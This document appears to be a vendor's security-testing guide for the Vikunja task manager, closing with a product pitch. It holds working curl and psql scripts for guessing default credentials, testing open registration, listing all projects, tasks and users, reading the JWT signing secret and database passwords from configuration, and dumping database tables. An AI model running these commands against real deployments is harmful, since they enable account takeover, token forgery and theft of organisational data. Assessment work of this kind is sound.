Vikunja Security Testing: Default Credentials, API Key, Database, and .env JWT_SECRET

Vikunja is a widely deployed open-source task management platform (Todoist/TickTick alternative) used for team project management — it stores all organizational projects, tasks, assignees, due dates, and comments. Key assessment areas: VIKUNJA_SERVICE_JWTSECRET signs authentication tokens; the REST API provides complete access to all team projects and tasks; personal API tokens allow programmatic access; user registration may be open by default; and PostgreSQL/MySQL/SQLite stores all organizational work data. Vikunja compromise exposes organizational project plans, internal deadlines, staff assignments, and business-sensitive task descriptions. This guide covers systematic Vikunja security assessment.

Table of Contents

  1. Authentication and API Token Testing
  2. API Project, Task, and Team Enumeration
  3. JWT_SECRET and Database Extraction
  4. Vikunja Security Hardening

Authentication and API Token Testing

# Vikunja — authentication and API token testing
VIKUNJA_URL="https://vikunja.example.com"

# Vikunja login
AUTH=$(curl -s -X POST "${VIKUNJA_URL}/api/v1/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin","long_token":true}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t=d.get('token','')
print(t[:50] if t else 'FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "admin/admin: ${TOKEN}"

# Try common credentials
for CRED in "admin:admin" "admin:vikunja" "vikunja:vikunja" "admin:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -X POST "${VIKUNJA_URL}/api/v1/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${USER}\",\"password\":\"${PASS}\",\"long_token\":true}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if d.get('token') else 'FAIL')" 2>/dev/null)
  echo "${USER}/${PASS}: ${STATUS}"
done

# Check if registration is open (allows creating accounts without invite)
curl -s -X POST "${VIKUNJA_URL}/api/v1/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser123","email":"test@evil.com","password":"TestPass123!"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Success: returns user object; Disabled: error message
print(f'Register: {str(d)[:100]}')
" 2>/dev/null

# API token access (generated in user settings)
API_TOKEN="your-vikunja-api-token"
curl -s "${VIKUNJA_URL}/api/v1/projects" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d if isinstance(d,list) else []
print(f'Projects: {len(projects)}')
" 2>/dev/null

API Project, Task, and Team Enumeration

# Vikunja API — project, task, and team enumeration
VIKUNJA_URL="https://vikunja.example.com"
TOKEN="your-vikunja-jwt-token"

# Get all projects (namespaces/workspaces)
curl -s "${VIKUNJA_URL}/api/v1/projects" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d if isinstance(d,list) else []
print(f'Projects: {len(projects)}')
for p in projects[:10]:
    print(f'  [{p.get(\"id\")}] {p.get(\"title\")} owner={p.get(\"owner\",{}).get(\"name\",\"\")} isArchived={p.get(\"is_archived\")}')
" 2>/dev/null

# Get all tasks across ALL projects — bulk enumeration
curl -s "${VIKUNJA_URL}/api/v1/tasks/all?page=1&per_page=100" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
tasks = d if isinstance(d,list) else []
print(f'Tasks: {len(tasks)}')
for t in tasks[:10]:
    title = t.get('title','')[:50]
    desc = str(t.get('description',''))[:30]
    due = t.get('due_date','')
    assignees = [a.get('name','') for a in t.get('assignees',[])]
    print(f'  [{t.get(\"id\")}] {title} due={due[:10] if due else \"\"} assignees={assignees}')
    if desc:
        print(f'    desc: {desc}')
" 2>/dev/null

# Get tasks in specific project
PROJECT_ID="1"
curl -s "${VIKUNJA_URL}/api/v1/projects/${PROJECT_ID}/tasks?page=1&per_page=100" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
tasks = d if isinstance(d,list) else []
print(f'Project {\"${PROJECT_ID}\"} tasks: {len(tasks)}')
for t in tasks[:10]:
    print(f'  [{t.get(\"id\")}] {t.get(\"title\",\"\")[:60]} done={t.get(\"done\")}')
" 2>/dev/null

# Enumerate all users on the platform
curl -s "${VIKUNJA_URL}/api/v1/users/list?s=" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d if isinstance(d,list) else []
print(f'Users: {len(users)}')
for u in users[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"name\")} {u.get(\"username\")} email={u.get(\"email\",\"\")}')
" 2>/dev/null

JWT_SECRET and Database Extraction

# Vikunja JWT_SECRET and database credential extraction

# config.yml — Vikunja configuration
cat /app/config.yml 2>/dev/null | grep -A5 -E "service:|database:|auth:"
# service.JWTSecret — JWT signing key
# database.user/password — database credentials
# auth.local.enabled / auth.openid settings

# Docker environment variables
docker inspect vikunja 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['VIKUNJA','JWT','DB','DATABASE','PASSWORD','SECRET']):
            print(e)
" 2>/dev/null
# VIKUNJA_SERVICE_JWTSECRET — JWT signing key
# VIKUNJA_DATABASE_PASSWORD — database password
# VIKUNJA_DATABASE_TYPE — sqlite/mysql/postgres

# PostgreSQL — all organizational data
DB_URL="postgresql://vikunja:PASSWORD@localhost/vikunja"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All users
SELECT id, username, email, name, is_admin,
       created, updated
FROM users
ORDER BY is_admin DESC, created ASC
LIMIT 20;
EOF

# All projects
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT p.id, p.title, p.description,
       u.username as owner, p.is_archived,
       p.created, p.updated
FROM projects p
JOIN users u ON p.owner_id = u.id
ORDER BY p.updated DESC
LIMIT 30;
EOF

# All tasks with assignees
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT t.id, t.title, t.description,
       t.due_date, t.done, t.priority,
       u.username as created_by,
       p.title as project
FROM tasks t
JOIN users u ON t.created_by_id = u.id
JOIN projects p ON t.project_id = p.id
ORDER BY t.updated DESC
LIMIT 30;
EOF

# API tokens (stored hashed but check for plaintext entries)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, title, right_admin, right_read,
       expiry_date, created_by_id
FROM api_tokens
ORDER BY expiry_date DESC
LIMIT 10;
EOF

Vikunja Security Hardening

Vikunja Security Hardening Checklist:
Security TestMethodRisk
VIKUNJA_SERVICE_JWTSECRET extraction and token forgeryRead config.yml or VIKUNJA_SERVICE_JWTSECRET env var — forge valid JWT tokens as any user including admin; full access to all projects and tasks without credentialsCritical
Organizational task and project bulk enumerationGET /api/v1/tasks/all — all tasks across all accessible projects including titles, descriptions, assignees, due dates, priorities; complete organizational work plan disclosureHigh
Open registration account creationPOST /api/v1/register — create accounts if registration not disabled; access any shared projects; enumerate platform users; potential privilege escalation via team membershipMedium
PostgreSQL task and project data extractionSELECT from tasks JOIN projects — all task details including confidential descriptions; full organizational work history accessible with database credentialsHigh
User enumeration via search APIGET /api/v1/users/list?s= — enumerate all platform users including usernames and email addresses; useful for targeted phishing against organizational team membersMedium

Automate Vikunja Security Testing

Ironimo tests Vikunja deployments for VIKUNJA_SERVICE_JWTSECRET extraction and JWT token forgery, open registration and account creation, organizational project and task bulk enumeration, user enumeration via search API, PostgreSQL task and project complete data extraction, admin credential brute force, API token database extraction, OIDC/LDAP configuration credential exposure, Docker environment variable JWT_SECRET exposure, and project sharing misconfiguration assessment.

Start free scan